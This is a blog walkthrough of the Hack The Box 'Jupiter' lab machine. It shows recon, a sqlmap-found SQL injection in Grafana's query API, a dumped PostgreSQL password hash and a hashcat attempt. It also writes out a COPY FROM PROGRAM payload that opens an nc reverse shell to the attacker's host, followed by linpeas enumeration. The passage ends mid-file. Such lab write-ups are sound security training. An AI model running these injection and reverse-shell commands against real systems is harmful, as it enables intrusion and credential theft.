HTB Jupiter Walkthrough
Discover how temporary files can provide information for getting access to a Jupyter notebook.
A really interesting BOX, one of those that I really like, with a small reverse engineering session in the second part where the resolution can take place in a double mode (but where I don't like easy things and therefore I opted for the more impervious). Let's not get lost in chat and let's get started.
The nmap scan.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 12:13 CEST
Nmap scan report for 10.10.11.216
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.62 seconds
Again, a standard BOX. Let's insert the domain jupiter.htb into the /etc/hosts file.
Wow... nice portal. I see different photos in the team but they always show the same name, "Amanda Stone", let's keep this information in mind. In the other browsable pages, apart from the contact page which shows the support email ([email protected]), I can't find anything particularly interesting, even the contact form seems fake. Ok, let's move on to a little more invasive analysis with a wfuzz session, searching for subdomains.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://jupiter.htb -H "Host:FUZZ.jupiter.htb" --hc 301
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://jupiter.htb/
Total requests: 5000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001960: 200 211 L 798 W 34390 Ch "kiosk"
000002700: 400 7 L 12 W 166 Ch "m."
000002795: 400 7 L 12 W 166 Ch "ns2.cl.bellsouth.net."
000002885: 400 7 L 12 W 166 Ch "ns2.viviotech.net."
000002883: 400 7 L 12 W 166 Ch "ns1.viviotech.net."
000003050: 400 7 L 12 W 166 Ch "ns3.cl.bellsouth.net."
000004082: 400 7 L 12 W 166 Ch "jordan.fortwayne.com."
000004081: 400 7 L 12 W 166 Ch "ferrari.fortwayne.com."
000004083: 400 7 L 12 W 166 Ch "quatro.oweb.com."
Total time: 56.56239
Processed Requests: 5000
Filtered Requests: 4991
Requests/sec.: 88.39795
Ok, interesting, let me to run also a dirb session for hidden subfolders on the original portal, in the meantime I'll check the new portal, after I put the domain into the /etc/hosts file.
On the second domain a grafana dashboard is present and on the login page I can find the exact version.
So, I can search for the exact exploit. In the meantime, the dirb session is finished.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ dirb http://jupiter.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Aug 11 12:27:53 2023
URL_BASE: http://jupiter.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://jupiter.htb/ ----
==> DIRECTORY: http://jupiter.htb/css/
==> DIRECTORY: http://jupiter.htb/fonts/
==> DIRECTORY: http://jupiter.htb/img/
+ http://jupiter.htb/index.html (CODE:200|SIZE:19680)
==> DIRECTORY: http://jupiter.htb/js/
[...]
Nothing seems to come out. Back to the exploit search, I find a couple of CVEs for the specific version of grafana (CVE-2023-2801, CVE-2023-2183), unfortunately, I can't find any examples of the exploits. Browsing the domain, however, I realize that there is a redirect to a different routing, so I check with BurpSuite which redirects are made and I find something interesting.
Let's see if sqlmap makes our life easier and gives us some insight into possible injections.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap --wizard
___
__H__
___ ___[)]_____ ___ ___ {1.7.7#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:41:24 /2023-08-11/
[21:41:24] [INFO] starting wizard interface
Please enter full target URL (-u): http://kiosk.jupiter.htb/api/ds/query
POST data (--data) [Enter for None]: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
>
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
>
sqlmap is running, please wait..
sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: JSON rawSql ((custom) POST)
Type: inline query
Title: Generic inline queries
Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"(SELECT CONCAT(CONCAT('qjxjq',(CASE WHEN (1937=1937) THEN '1' ELSE '0' END)),'qjbbq'))","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';;SELECT PG_SLEEP(5)--","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
---
[21:43:44] [INFO] retrieved: 'PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3....
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: PostgreSQL
banner: 'PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, 64-bit'
[21:43:45] [INFO] retrieved: 'grafana_viewer'
current user: 'grafana_viewer'
[21:43:46] [INFO] retrieved: 'public'
current database (equivalent to schema on PostgreSQL): 'public'
current user is DBA: True
[*] ending @ 21:43:46 /2023-08-11/
Excellent, let's try to understand how the DB is made.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --dbs
___
__H__
___ ___[)]_____ ___ ___ {1.7.7#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:13:46 /2023-08-11/
JSON data found in POST body. Do you want to process it? [Y/n/q]
[22:13:47] [INFO] resuming back-end DBMS 'postgresql'
[22:13:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON rawSql ((custom) POST)
Type: inline query
Title: Generic inline queries
Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"(SELECT CONCAT(CONCAT('qjxjq',(CASE WHEN (1937=1937) THEN '1' ELSE '0' END)),'qjbbq'))","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';;SELECT PG_SLEEP(5)--","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
---
[22:13:48] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: PostgreSQL
[22:13:48] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[22:13:48] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
[22:13:48] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'
[*] ending @ 22:13:48 /2023-08-11/
Only one DB, the others seem to be system ones. Let's recover some tables.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --schema
[...]
Database: public
Table: moons
[4 columns]
+---------+------+
| Column | Type |
+---------+------+
| name | text |
| id | int4 |
| meaning | text |
| parent | text |
+---------+------+
[...]
Apart from the moons table in the public database, nothing seems to be particularly interesting. However, we have the system DBs, where the user table seems interesting.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --dump -D pg_catalog -T pg_authid
[...]
Database: pg_catalog
Table: pg_authid
[13 entries]
+-------+---------------------------+----------+------------+-------------+-------------+---------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+---------------+---------------+----------------+
| oid | rolname | rolsuper | rolinherit | rolcanlogin | rolcreatedb | rolpassword | rolbypassrls | rolconnlimit | rolcreaterole | rolvaliduntil | rolreplication |
+-------+---------------------------+----------+------------+-------------+-------------+---------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+---------------+---------------+----------------+
| 10 | postgres | true | true | true | true | NULL | true | -1 | true | NULL | true |
| 3373 | pg_monitor | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 3374 | pg_read_all_settings | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 3375 | pg_read_all_stats | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 3377 | pg_stat_scan_tables | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 4200 | pg_signal_backend | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 4569 | pg_read_server_files | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 4570 | pg_write_server_files | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 4571 | pg_execute_server_program | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 6171 | pg_database_owner | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 6181 | pg_read_all_data | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 6182 | pg_write_all_data | false | true | false | false | NULL | false | -1 | false | NULL | false |
| 16385 | grafana_viewer | true | true | true | false | SCRAM-SHA-256$4096:K9IJE4h9f9+tr7u7AZL76w==$qdrtC1sThWDZGwnPwNctrEbEwc8rFpLWYFVTeLOy3ss=:oD4gG69X8qrSG4bXtQ62M83OkjeFDOYrypE3tUv0JOY= | false | -1 | false | NULL | false |
+-------+---------------------------+----------+------------+-------------+-------------+---------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+---------------+---------------+----------------+
[23:10:20] [INFO] table 'pg_catalog.pg_authid' dumped to CSV file '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb/dump/pg_catalog/pg_authid.csv'
[23:10:20] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'
[*] ending @ 23:10:20 /2023-08-11/
Great, a password... encrypted... let's try hashcat.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/hc]
└─$ echo 'SCRAM-SHA-256$4096:K9IJE4h9f9+tr7u7AZL76w==$qdrtC1sThWDZGwnPwNctrEbEwc8rFpLWYFVTeLOy3ss=:oD4gG69X8qrSG4bXtQ62M83OkjeFDOYrypE3tUv0JOY=' > pwd.hash
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/hc]
└─$ hashcat pwd.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-Intel(R) Core(TM) i5-7300HQ CPU @ 2.50GHz, 6886/13836 MB (2048 MB allocatable), 4MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
28600 | PostgreSQL SCRAM-SHA-256 | Database Server
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
[...]
The hashcat managed to identify the postgres algorithm, but still fails to crack the password. Ok, searching for how to execute shell command in postgres, I found this interesting article.
So I started to try executing custom queries on the DB.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --sql-query="CREATE TABLE read_files_2(output text)"
___
__H__
___ ___[,]_____ ___ ___ {1.7.7#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:36:25 /2023-08-12/
JSON data found in POST body. Do you want to process it? [Y/n/q]
[11:36:25] [INFO] resuming back-end DBMS 'postgresql'
[11:36:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON rawSql ((custom) POST)
Type: inline query
Title: Generic inline queries
Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"(SELECT CONCAT(CONCAT('qjxjq',(CASE WHEN (1937=1937) THEN '1' ELSE '0' END)),'qjbbq'))","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';;SELECT PG_SLEEP(5)--","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
---
[11:36:26] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: PostgreSQL
[11:36:26] [INFO] executing SQL data definition statement: 'CREATE TABLE read_files_2(output text)'
[11:36:26] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
CREATE TABLE read_files_2(output text): 'NULL'
[11:36:30] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'
[*] ending @ 11:36:30 /2023-08-12/
It seems to work. So, I tried to insert some things...
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --sql-query="insert into read_files_2 values ('this is a test')"
[...]
...and retrieving them.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --dump -T read_files_2
[...]
Database: public
Table: read_files_2
[2 entries]
+----------------------+
| output |
+----------------------+
| this is another test |
| this is a test |
+----------------------+
[11:40:53] [INFO] table 'public.read_files_2' dumped to CSV file '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb/dump/public/read_files_2.csv'
[11:40:53] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'
[*] ending @ 11:40:53 /2023-08-12/
Unfortunately, when I try reading files and executing commands, it doesn't work. But after a while of dealing with this type of task, you will learn that the manual approach will always give better results than the automated ones, so put aside the sqlmap tool that has given us a lot of satisfaction so far and we resume the burpsuite, wherein the repeater there is still the request that led us to the exploit, to try to execute the query directly from there.
and it works! :) So, spawn a reverse shell!
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.96] from jupiter.htb [10.10.11.216] 51316
/bin/sh: 0: can't access tty; job control turned off
$ whoami
postgres
$ ls -la /home/
total 16
drwxr-xr-x 4 root root 4096 Mar 7 13:00 .
drwxr-xr-x 19 root root 4096 May 4 18:59 ..
drwxr-x--- 6 jovian jovian 4096 May 4 18:59 jovian
drwxr-x--- 8 juno juno 4096 May 4 12:10 juno
$
The connection does not last long and after a few minutes the netcat connection drops. In any case, I don't seem to impersonate a useful user to capture the flag. To fix this, just start netcat by releasing the console, then add an "&" to the end of the command and you have a shell that won't log you out again.
COPY read_files_2 FROM PROGRAM $$rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 4444 >/tmp/f &$$;
Let's start a linpeas session (usual procedure: download the latest version of the script, start a web service to reach the script just downloaded from the BOX, start a netcat listener and run the script remotely redirecting the output to the listener) and see if there is something interesting.
linpeas output
[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 1187/postgres
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
[...]
╔══════════╣ Analyzing PostgreSQL Files (limit 70)
Version: psql (PostgreSQL) 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1)
-rw-r----- 1 postgres postgres 5002 Mar 7 10:39 /etc/postgresql/14/main/pg_hba.conf
local all postgres peer
local all all peer
host all all 127.0.0.1/32 scram-sha-256
host all all ::1/128 scram-sha-256
local replication all peer
host replication all 127.0.0.1/32 scram-sha-256
host replication all ::1/128 scram-sha-256
-rw-r--r-- 1 postgres postgres 29048 Mar 7 10:39 /etc/postgresql/14/main/postgresql.conf
ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
max_wal_size = 1GB
min_wal_size = 80MB
log_timezone = 'Etc/UTC'
stats_temp_directory = '/var/run/postgresql/14-main.pg_stat_tmp'
datestyle = 'iso, mdy'
timezone = 'Etc/UTC'
default_text_search_config = 'pg_catalog.english'
[...]
-rw-r--r-- 1 root root 389 Jul 27 2022 /etc/default/nginx
-rwxr-xr-x 1 root root 4579 Jul 27 2022 /etc/init.d/nginx
-rw-r--r-- 1 root root 329 Jul 27 2022 /etc/logrotate.d/nginx
drwxr-xr-x 8 root root 4096 May 4 16:01 /etc/nginx
-rw-r--r-- 1 root root 1447 Jul 27 2022 /etc/nginx/nginx.conf
[...]
╔══════════╣ Analyzing Grafana Files (limit 70)
-rw-r----- 1 root grafana 54096 Mar 7 11:49 /etc/grafana/grafana.ini
[...]
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 19K Feb 26 2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 331K Nov 23 2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 35K Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 136K Dec 1 2022 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escala
tion(CVE-2019-7304)
-rwsr-xr-x 1 root root 40K Nov 24 2022 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 59K Nov 24 2022 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solari
s_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 227K Apr 3 18:00 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 72K Nov 24 2022 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 71K Nov 24 2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Nov 24 2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 47K Feb 21 2022 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 55K Feb 21 2022 /usr/bin/su
-rwsr-xr-x 1 root root 35K Feb 21 2022 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 35K Mar 23 2022 /usr/bin/fusermount3
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root utmp 15K Mar 24 2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwxr-sr-x 1 root shadow 23K Feb 2 2023 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 27K Feb 2 2023 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 23K Nov 24 2022 /usr/bin/expiry
-rwxr-sr-x 1 root tty 23K Feb 21 2022 /usr/bin/wall
-rwxr-sr-x 1 root crontab 39K Mar 23 2022 /usr/bin/crontab
-rwxr-sr-x 1 root tty 23K Feb 21 2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root _ssh 287K Nov 23 2022 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 71K Nov 24 2022 /usr/bin/chage
[...]
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/dev/shm/edit_network.yml
/dev/shm/network-simulation.yml
/dev/shm/network-simulation.yml.1
/dev/shm/network-simulation.yml.bak
/dev/shm/network-simulation.yml.save
#)You_can_write_even_more_files_inside_last_directory
[...]
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group postgres:
/dev/shm/network-simulation.yml.save
/tmp/network-simulation.yml
/run/postgresql
/var/lib/postgresql/.local
/var/log/postgresql
[...]
The ports exposed internally seem to be the already viewed portal of grafana and some other portals which, following a couple of redirects (HTTP code 302), require access through a login mask. I would have to do a port forwarding, but in the absence of an ssl connection, it is difficult (not impossible, but difficult), if it proves to be the only way forward, we can work to resolve it. Going forward, the configuration files reveal nothing useful, the same goes for the reported SUIDs (the only more attractive one, the snap, is not the vulnerable version, it's useless even to try, if not that, it should elevate us to superuser and it wouldn't be a standard step for retrieving the two flags). Instead, there is a strange SGID, (/usr/bin/write.ul), starting it, I understand that it is a tool to communicate with other users of the same device.
$ /usr/bin/write.ul
Try 'write.ul --help' for more information.
$ /usr/bin/write.ul --help
Usage:
write.ul [options] <user> [<ttyname>]
Send a message to another user.
Options:
-h, --help display this help
-V, --version display version
For more details see write(1).
$ /usr/bin/write.ul --version
write.ul from util-linux 2.37.2
I can't find much online either, so I keep going. The files owned by me or writable by everyone remain. Let's take a look.
$ ls -la /dev/shm
total 32
drwxrwxrwt 3 root root 100 Aug 16 09:38 .
drwxr-xr-x 20 root root 4040 Aug 16 04:26 ..
-rw-rw-rw- 1 juno juno 815 Mar 7 12:28 network-simulation.yml
-rw------- 1 postgres postgres 26976 Aug 16 04:26 PostgreSQL.1435292926
drwxrwxr-x 3 juno juno 100 Aug 16 09:38 shadow.data
$ cat /dev/shm/network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
